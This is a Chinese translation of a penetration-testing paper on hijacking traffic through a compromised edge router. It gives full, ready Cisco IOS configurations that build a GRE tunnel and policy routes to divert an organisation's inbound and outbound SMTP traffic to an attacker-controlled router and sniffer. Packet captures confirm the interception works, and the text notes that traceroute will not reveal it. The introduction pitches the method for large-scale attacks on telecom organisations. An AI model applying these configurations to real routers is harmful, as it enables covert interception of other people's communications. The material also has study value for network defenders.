利用被入侵的路由器獲取網路流量
0x00 前言
現在,對終端路由器進行流量劫持的方法很多,如DNS劫持等等,但是根據不同的滲透場景,如對電信級別的組織進行大範圍攻擊時,利用被入侵的路由器進行流量重定向則會顯得更加高效。這種類似“核攻擊”的攻擊方法會導致X州市數字電視一樣的後果。
原文地址:https://dl.packetstormsecurity.net/papers/routing/GRE_sniffing.doc
0x01 介紹
這篇文件詳細描述了在最近試驗中,使用邊界路由器作為工具來捕獲網路流量的方法 、步驟以及結果。
在滲透測試場景中,人們經常會入侵一個組織的邊緣路由器。這些路由器往往部署在公司防火牆外,而且缺乏保護。在某些情況下,被入侵的路由器可能會成為進一步攻擊目標網路的一個跳板,但是真正的價值用被掌握的路由器用來嗅探組織內部進出的網路流量。
這種使用GRE隧道和策略路由的技術最早在Phrack由Gauis發表的第56篇文章“Things to do in Cisco Land when you are dead” (http://www.phrack.com/show.php?p=56&a=10),Gauis的方法使用tcpdump修改的proof-of-concept(poc)程式,來在被嗅探的路由器和一臺Linux之間建立一條GRE隧道。
而Joshua Wright在他為SANS GCIH的實用鑑定課程中寫的的論文:“Red Team Assessment of Parliament Hill Firewall”中使用了另一種方法,Joshua使用了另外一臺思科路由器終結了GRE隧道,但他只設法捕捉到一個方向的流量:從該組織出站方向的流量。
在本次這個試驗中擴充套件了Joshua的方法,同樣使用另外一臺思科路由器來終結GRE隧道,但是從組織中透明地捕捉到了進出的流量。對這個技術進行擴充套件的主要因素是為了最少進行軟體定製以及元件的需要。
特別感謝Darren Pedley([email protected]
)[email protected]
0x02 方法
所選擇的方法是,在目標路由器(“Target router”)和被駭客控制的中間路由器(“Attacker router”)之間建立GRE隧道。使用策略路由來把該組織中進出的流量透過GRE隧道重定向到中間路由器(Attacker router)中。流量在最終被目標路由器(Target router)傳送之前,就已經被駭客控制的中間路由器(Attacker router)處理過了。
本次測試了兩種場景。第一個場景,被捕獲的流量只是被中間路由器通 “反射”進了GRE隧道,如圖1。這種方法有一個好處就是在路由器上配置簡單,但是介紹以下出現的問題:
- 為了方便捕獲資料流量,必須嗅探中間路由器外端的埠(即中間路由器的tunnle隧道上的物理介面)。這種方法在非乙太網路媒介中會難以實現。
- 被捕獲的流量是透過GRE報文封裝的,就必須在執行IP解碼之前對流量進行解封裝。
圖1 – 場景1
在第二個處理場景中,中間路由器被配置為在回傳捕獲流量給目標路由器之前,先把流量發傳送給一臺Unix工作站,如圖2,這個指令碼克服前面的兩個缺點:
- 對於中間路由器來說,可以使任意媒介的外部網路。
- 流量轉發給Unix工作站時已經解封裝,則使用較少的處理過程就可以提取流量中有用的資訊。
圖2 – 場景2
0x03 步驟
圖3顯示了在本次試驗的網路拓撲。
圖3 - 實驗測試拓撲
實驗裝置
目標路由器(target router)使用雙乙太網介面的Cisco 3600路由器,中間路由器(attacker router)使用雙乙太網介面的Cisco 2600路由器。這個實驗同樣適用於任何IOS系統的思科路由器,可能適用於其他支援GRE隧道和策略路由的路由器。
郵件伺服器是一臺裝有Linux的筆記本,網路嗅探裝置是一臺Solaris工作站,這些裝置都是任意選擇的。
建立一條GRE隧道
第一步,在對路由器進行基礎的IP配置之後,就在目標路由器和中間路由器間建起GRE隧道,在實際環境使用這種方法時,目標路由器應必須首先已被入侵併可以遠端配置,入侵目標路由器的方法以已經超出了本文的討論範圍。
目標路由器配置:
Target#conf t Target(config)#int tunnel0 Target(config-if)#ip address 192.168.5.1 255.255.255.0 Target(config-if)#tunnel source eth0/1 Target(config-if)#tunnel dest 192.168.1.2 Target(config-if)#tunnel mode gre ip Target(config-if)#exit Target(config)#exit Target#
建立名稱為tunnel0的隧道介面,分配本地IP地址192.168.5.1(虛擬的IP地址),外部乙太網介面定義為本地tunnel隧道的終點,同時定義中間路由器的外部IP地址為tunnel隧道對端的終點。在中間路由器上配置類似的命令。
中間路由器操作:
Attacker#conf t Attacker(config)#int tunnel0 Attacker(config-if)#ip address 192.168.5.2 255.255.255.0 Attacker(config-if)#tunnel source eth0/1 Attacker(config-if)#tunnel dest 192.168.1.1 Attacker(config-if)#tunnel mode gre ip Attacker(config-if)#exit Attacker(config)#exit Attacker#
到這一步,兩臺路由器間的GRE隧道已經建立了,不管這兩臺路由器間在網際網路間相隔多少跳路由,GRE隧道都只認為經過了一跳路由。
場景1中的策略路由配置
在場景1中(見圖1),我們在中間路由器tunnel0的介面上建立策略路由,並透過GRE隧道向目標路由器“反射”流量。
中間路由器操作:
Attacker#conf t Attacker(config)#access-list 100 permit ip any any Attacker(config)#route-map reflect Attacker(config-route-map)#match ip address 100 Attacker(config-route-map)#set ip next-hop 192.168.5.1 Attacker(config-route-map)#exit Attacker(config)#int tunnel0 Attacker(config-if)#ip policy route-map reflect Attacker(config-if)#exit Attacker(config)#exit Attacker#
訪問控制列表100(acl100)匹配所有IP協議流量,route map策略抓取了所有匹配訪問控制列表100的流量,然後發往192.168.5.1,也就是目標路由器上終結GRE隧道的地址。這條route map策略在tunnel0介面上應用。
這樣配置的結果就是,所有透過tunnel0介面到達中間路由器的流量,隨後會透過tunnel介面(即tunnel隧道)返回給目標路由器。
場景1中的Unix工作站初始化
在場景1中,攻擊者的Unix工作站在外部署在中間路由器的外部介面中,在這個例項中,Unix工作站的IP地址可以配置或不配置,因為工作站只需要被動地捕獲網路流量。
場景2中的策略路由配置
在第二個場景中,我們在中間路由器tunnel介面上和在與Unix工作站互聯的內網介面上建立了策略路由,來“反射”透過GRE隧道及Unix工作站內網介面傳來的流量。
中間路由器操作:
Attacker#conf t Attacker(config)#access-list 100 permit ip any any Attacker(config)#route-map send-traffic-in Attacker(config-route-map)#match ip address 100 Attacker(config-route-map)#set ip next-hop 192.168.3.2 Attacker(config-route-map)#exit Attacker(config)#int tunnel0 Attacker(config-if)#ip policy route-map send-traffic-in Attacker(config-if)#exit Attacker(config)#route-map send-traffic-out Attacker(config-route-map)#match ip address 100 Attacker(config-route-map)#set ip next-hop 192.168.5.1 Attacker(config-route-map)#exit Attacker(config)#int eth0/0 Attacker(config-if)#ip policy route-map send-traffic-out Attacker(config-if)#exit Attacker(config)#exit Attacker#
策略路由“send-traffic-in”被應用在tunnel0介面上,這條策略路由將從tunnel所有到達的流量轉發到Unix工作站的住IP地址的乙太網介面上(192.168.3.2)。工作站透過預設路由經將該流量轉發回中間路由器上(192.168.4.1)。
策略路由“send-traffic-out”被應用在中間路由器的內部乙太網介面上(與Unix工作站互聯的介面),它將從Unix工作站返回的流量透過GRE隧道全部轉發回目標路由器。
場景2中的Unix工作站初始化
在場景2中的Unix工作站配置如下:
Primary IP address(主IP地址): 192.168.3.2
Secondary IP address(從IP地址): 192.168.4.2
從IP地址是在同一物理網路介面上的虛擬地址。
Default route(預設路由): 192.168.4.1
定義一個需要被捕獲的流量
接下來,在目標路由器上建立訪問控制列表(ACL)來抓取需被捕獲流量。
在目標路由器上操作:
Target#conf t Target(config)#access-list 101 permit tcp any any eq 25 Target(config)#access-list 101 permit tcp any eq 25 any Target(config)#exit Target#
這條訪問控制列表匹配了所有SMTP協議(25/TCP)流量,定義規則來對進出的資料包進行匹配是非常有必要的,因為這條訪問控制列表將被應用在目標路由器的所有介面上。
在目標路由器上的策略路由
最後,我們在目標路由器上建立策略路由,用來將感興趣的流量透過GRE隧道傳送。
在目標路由器上操作:
Target#conf t Target(config)#route-map capture-traffic Target(config-route-map)#match ip address 101 Target(config-route-map)#set ip next-hop 192.168.5.2 Target(config-route-map)#exit Target(config)#int eth0 Target(config-if)#ip policy route-map capture-traffic Target(config-if)#exit Target(config)#int eth1 Target(config-if)#ip policy route-map capture-traffic Target(config-if)#exit Target(config)#exit Target#
定義的這條策略路由(capture-traffic)匹配了訪問控制列表101(即所有SMTP流量),同時透過GRE隧道向中間路由器轉發這些流量,這條策略路由需被同時應用在這臺路由器對內、對外介面上。
到現在,所有進出目標路由器的SMTP流量將透過GRE隧道被重定向到中間路由器上,流量(返程流量)到達中間路由器是透過GRE隧道、中間是根據標準的路由協議進路由轉發由的。
目標路由器上最終配置請見附錄A,中間路由器在場景1和場景2中的配置可以分別在附錄B和C中找到。
0x04 結果
在兩個場景中,SMPT連線透過GRE隧道轉移,成功地被UNIX工作站抓取。
場景1中的抓包驗證
以下抓包片段顯示了在場景1中,擷取的SMTP會話建立過程(即三次握手)。
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823 3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797 4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824 5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798 6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825 9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
第1條資料包顯示客戶端向郵件伺服器傳送TCP SYN包。
第2、3條資料包顯示這個SYN包從目標路由器發向了中間路由器,並返回到目標路由器。
在第3條資料包之後,這個SYN包就被傳送到了郵件伺服器上了:這個包在抓包過程中沒有顯示。郵件服務伺服器應答了一個SYN/ACK包:這個包在抓包過程中沒有顯示。
資料包4和5顯示了這個SYN/ACK包正在穿越GRE隧道。
資料包6顯示這個SYN/ACK包被返回到了郵件客戶端。
資料包7顯示從客戶端應答的ACK包(即三次握手過程中的最後一個資料包)發向郵件伺服器。
資料包8和9顯示這個ACK包正在穿越GRE隧道。
在第9個資料包之後,這個ACK包就已經被傳送到了郵件伺服器上,會話建立成功,隨後的SMTP連線繼續繼續建立。
更完整的抓包結果,以及第2條資料包詳細的協議解碼請見附錄D。
Scenario 2場景2的抓包驗證
以下抓包片段顯示了在場景2中,擷取的SMTP會話建立過程(即三次握手)。
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
資料包1和2顯示了客戶端發往郵件伺服器的TCP SYN資料包,由於被捕獲的流量在去往Unix工作站時在同一介面上被路由了兩遍(即中間路由器路由一次,Unix工作站預設路由一次),所以這條(同時所有)流量在抓包顯示被複制了二份。
資料包3和4顯示了郵件伺服器發往客戶端的SYN/ACK資料包。
資料包5和6顯示了客戶端回覆郵件伺服器的ACK資料包(三次握手的最後一步)
更完整的抓包結果請見附錄E。
0x05 結論及討論
透明度
這種資料攔截的方法對於這個系統中的終端使用者是完全透明的(見下面的部分),標準的traceroute追蹤不能發現資料在GRE隧道重定向而帶來的額外路由跳數,因為traceroute的資料包並沒有被策略路由(即上文中提到的策略路由)所匹配。
有這種可能,但是比較困難,就是編寫一個基於TCP 協議,使用25號埠以及利用遞增TTL值的traceroute程式,去發現已經增加的額外路由跳數。
當然,透過檢查目標路由器的配置來發現(是否被攻擊)會更簡單。
延遲考慮
在透過中間路由器路由器捕獲重定向的流量會增加網路延遲,這種延遲的增加可以表示為:
2n + m
n代表流量從目標路由器到中間路由器間所花費的時間,m代表中間路由器(以及Unix工作站)處理這條流量所帶來的時間延遲。
在實驗室場景中,發現m的值大約有10ms的延遲 - 詳見附錄F。
n的值顯得要更大一些,這種(流量重定向)技術應被限制在類似如SMTP, DNS域傳送等一類流量非嚴格時間敏感的場景中使用。
對流量進一步解碼
從被捕獲流量中提取有用資料的聯絡就交給讀者了,在標準的Unix工具集中,例如strings以及od命令都可以方便地處理這些資料。
實用性
在現實情況下使用這種技術,應該注意中間路由器(以及在場景2中的Unix工作站)可能會導致單點通訊故障,如果任何一臺裝置出現故障,那麼在3.7章節中的訪問控制列表所匹配的流量(即目標流量)將不能被正常轉發。
0x06 附錄
附錄A - 目標路由器完整配置(Target Router)
! version 12.2 service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Target ! no logging console ! ip subnet-zero ! interface Tunnel0 ip address 192.168.5.1 255.255.255.0 tunnel source Ethernet0/1 tunnel destination 192.168.1.2 ! interface Ethernet0/0 ip address 192.168.2.1 255.255.255.0 ip policy route-map capture-traffic half-duplex ! interface Ethernet0/1 ip address 192.168.1.1 255.255.255.0 ip policy route-map capture-traffic half-duplex ! ip classless no ip http server no ip pim bidir-enable ! access-list 101 permit tcp any any eq smtp access-list 101 permit tcp any eq smtp any no cdp run route-map capture-traffic permit 10 match ip address 101 set ip next-hop 192.168.5.2 ! line con 0 line aux 0 line vty 0 4 privilege level 15 login ! end
附錄B -場景1中間路由器完整配置(Attack Router)
! version 12.2 service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Attacker ! logging buffered 4096 debugging no logging console enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0 ! memory-size iomem 10 ip subnet-zero ! interface Tunnel0 ip address 192.168.5.2 255.255.255.0 ip policy route-map reflect tunnel source Ethernet0/1 tunnel destination 192.168.1.1 ! interface Ethernet0/0 ip address 192.168.3.1 255.255.255.0 half-duplex ! interface Ethernet0/1 ip address 192.168.1.2 255.255.255.0 half-duplex ! ip classless no ip http server no ip pim bidir-enable ! access-list 100 permit ip any any no cdp run route-map reflect permit 10 match ip address 100 set ip next-hop 192.168.5.1 ! line con 0 line aux 0 line vty 0 4 privilege level 15 no login ! end
附錄C -場景2中間路由器完整配置(Attack Router)
version 12.2 service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Attacker ! logging buffered 4096 debugging no logging console enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0 ! memory-size iomem 10 ip subnet-zero ! interface Tunnel0 ip address 192.168.5.2 255.255.255.0 ip policy route-map send-traffic-in tunnel source Ethernet0/1 tunnel destination 192.168.1.1 ! interface Ethernet0/0 ip address 192.168.4.1 255.255.255.0 secondary ip address 192.168.3.1 255.255.255.0 ip policy route-map send-traffic-out half-duplex ! interface Ethernet0/1 ip address 192.168.1.2 255.255.255.0 half-duplex ! ip classless no ip http server no ip pim bidir-enable ! access-list 100 permit ip any any no cdp run route-map send-traffic-out permit 10 match ip address 100 set ip next-hop 192.168.5.1 ! route-map send-traffic-in permit 10 match ip address 100 set ip next-hop 192.168.3.2 ! line con 0 line aux 0 line vty 0 4 privilege level 15 no login ! end
附錄D - 場景1中的流量抓包
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823 3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797 4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824 5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798 6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825 9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799 10 40.09693 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826 11 0.00142 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800 12 0.00063 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 220 localhost.locald 13 0.13864 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 14 0.00185 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827 15 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801 82 2.18601 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 q 83 0.00211 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850 84 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824 85 0.03858 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851 86 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825 87 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 88 0.18110 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 u 89 0.00186 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852 90 0.00136 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826 91 0.00271 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853 92 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827 93 0.00059 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 94 0.05429 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 i 95 0.00191 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854 96 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828 97 0.00269 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855 98 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829 99 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 100 0.16402 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 t 101 0.00207 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856 102 0.00139 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830 103 0.00270 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857 104 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831 105 0.00052 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 106 0.22869 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 107 0.00197 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858 108 0.00137 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832 109 0.00304 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859 110 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833 111 0.00012 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860 112 0.00055 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 113 0.00093 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834 114 0.00058 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 221 2.0.0 localhost. 115 0.00067 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861 116 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835 117 0.00049 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 118 0.00025 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 119 0.00044 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 120 0.00172 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862 121 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836 122 0.00007 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863 123 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837 124 0.00255 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864 125 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838 126 0.00054 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
對嗅探到的GRE資料包解碼如下:
ETHER: ----- Ether Header ----- ETHER: ETHER: Packet 2 arrived at 12:38:37.06 ETHER: Packet size = 86 bytes ETHER: Destination = 0:d0:ba:fe:30:e1, ETHER: Source = 0:e0:1e:7e:a0:c2, ETHER: Ethertype = 0800 (IP) ETHER: IP: ----- IP Header ----- IP: IP: Version = 4 IP: Header length = 20 bytes IP: Type of service = 0x00 IP: xxx. .... = 0 (precedence) IP: ...0 .... = normal delay IP: .... 0... = normal throughput IP: .... .0.. = normal reliability IP: Total length = 72 bytes IP: Identification = 823 IP: Flags = 0x0 IP: .0.. .... = may fragment IP: ..0. .... = last fragment IP: Fragment offset = 0 bytes IP: Time to live = 255 seconds/hops IP: Protocol = 47 () IP: Header checksum = 34fc IP: Source address = 192.168.1.1, 192.168.1.1 IP: Destination address = 192.168.1.2, 192.168.1.2 IP: No options IP:
這個GRE資料包使用Hex方式解碼如下所示:
0000000 736e 6f6f 7000 0000 0000 0002 0000 0004 0000020 0000 0056 0000 0056 0000 0070 0000 0000 0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0 0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f 0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500 0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8 0000140 0202 0651 0019 99d0 26a4 0000 0000 7002 0000160 4000 f86a 0000 0204 0534 0101 0402 0000
附錄E - 場景2中的流量抓包
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 7 40.09285 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald 8 0.00016 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald 9 0.16606 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 10 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 59 1.62586 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q 60 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q 61 0.04199 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 62 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 63 0.14919 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u 64 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u 65 0.00574 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 66 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 67 0.08556 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i 68 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i 69 0.00570 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 70 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 71 0.12386 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t 72 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t 73 0.00577 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 74 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 75 0.80846 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 76 0.00011 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 77 0.00613 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 78 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 79 0.00216 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost. 80 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost. 81 0.00220 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 82 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 83 0.00670 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 84 0.00008 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 85 0.00169 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 86 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 87 0.00645 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 88 0.00008 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
附錄F - 延遲測試 測試了額外增加的流量處理時間的延遲測試,在實驗室中使用ICMP ping對網際網路上的客戶端機器進行測試。
在沒有重定向/抓包時…
C:\>ping 192.168.2.2 Pinging 192.168.2.2 with 32 bytes of data: Reply from 192.168.2.2: bytes=32 time=10ms TTL=254 Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 10ms, Average = 2ms C:\>ping -l 1000 192.168.2.2 Pinging 192.168.2.2 with 1000 bytes of data: Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms C:\>
在進行重定向/抓包時…
C:\>ping 192.168.2.2 Pinging 192.168.2.2 with 32 bytes of data: Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 10ms, Maximum = 10ms, Average = 10ms C:\>ping -l 1000 192.168.2.2 Pinging 192.168.2.2 with 1000 bytes of data: Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250 Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 20ms, Maximum = 31ms, Average = 22ms C:\>
相關文章
- 利用被入侵的路由器邁入內網2020-08-19路由器內網
- 移動網際網路如何獲取精準流量2016-04-14
- 如何利用Webp和http快取節省30%的網路流量?2019-03-01WebHTTP快取
- 利用python獲取nginx服務的ip以及流量統計資訊2017-08-03PythonNginx
- 網際網路流量超出路由器上限 或致全球斷網2014-08-16路由器
- 獲取網路圖片的大小2019-03-04
- 獲取當前js檔案被引用的路徑2020-07-09JS
- 大資料實戰:電商該如何利用大資料獲取流量?2019-06-03大資料
- 分享如何避免您的網站被入侵?2019-07-17網站
- Microsoft SQL伺服器被駭客入侵 頻寬被竊取2022-07-30ROSSQL伺服器
- 黑客如何入侵你的路由器?2014-04-27黑客路由器
- C#—獲取網路時間2017-06-05C#
- 記一次ASP.NET網站的入侵和如何避免被入侵2015-11-02ASP.NET網站
- 最簡單的網路圖片的爬取 --Pyhon網路爬蟲與資訊獲取2020-04-04爬蟲
- SEO優化獲取精準流量2022-06-13優化
- 如何防止網站被侵入,如何防止網站被掛馬,如何防止網站被入侵?2018-06-03網站
- 網路流量模型2020-11-15模型
- 利用路由器控制上網的辦法2016-08-15路由器
- 韓稱高官手機被朝黑客入侵鐵路機關遭網路攻擊2017-07-03黑客
- c#利用WebClient和WebRequest獲取網頁原始碼2013-10-14C#Webclient網頁原始碼
- Flutter獲取當前網路型別2021-05-14Flutter型別
- [React Native]獲取網路狀態2017-12-21React Native
- SimilarWeb:英國成人網站流量佔所有網際網路流量的8.5%2013-07-28MILAWeb網站
- 防止網站被入侵攻擊的五個辦法2020-03-09網站
- js 獲取被選中核取方塊的值2017-03-15JS
- 中國科協:2015年中國公民利用網際網路獲取資訊比例達53.4%2015-09-20
- 利用Python爬蟲獲取招聘網站職位資訊2021-08-09Python爬蟲網站
- 網際網路元素如何全面入侵春晚?2016-02-13
- 網路流量預測入門(三)之LSTM預測網路流量2021-08-29
- Python教程之獲取網路資料!2021-05-24Python
- 獲取網路視訊任意幀畫面2018-03-09
- [Android]獲取網路連線狀態2012-11-26Android
- android例項之——流量監控懸浮窗(實時網速的獲取)2014-06-23Android
- 如何利用js獲取取得焦點的元素2017-03-27JS
